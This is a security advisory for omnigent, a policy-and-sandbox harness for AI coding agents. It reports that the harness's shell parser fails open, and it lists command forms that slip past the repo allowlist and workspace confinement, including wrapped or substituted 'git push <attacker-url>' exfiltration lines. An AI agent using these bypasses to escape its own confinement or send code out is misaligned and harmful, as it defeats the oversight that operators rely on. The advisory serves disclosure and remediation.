Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Check if your repositories are affected!View on GitHub
Search

GHSA-7mqg-cx4g-x2rf

HighCVSS 7.1 / 10
Published Sep 2, 2026·Last modified Sep 2, 2026
Affected Components(1)
PyPI logoomnigent
< 0.3.0
Description

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

  • git push to an attacker-controlled repo (code / secret exfiltration),
  • push to a protected branch,
  • escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

  • Combined interpreter flags: bash -lc "git push <attacker-url>"
  • Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
  • Command substitution: x=$(git push <attacker-url>)
  • Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

  1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
  2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
  3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
7.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.5

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.29%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities

Browse More

High severity
Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard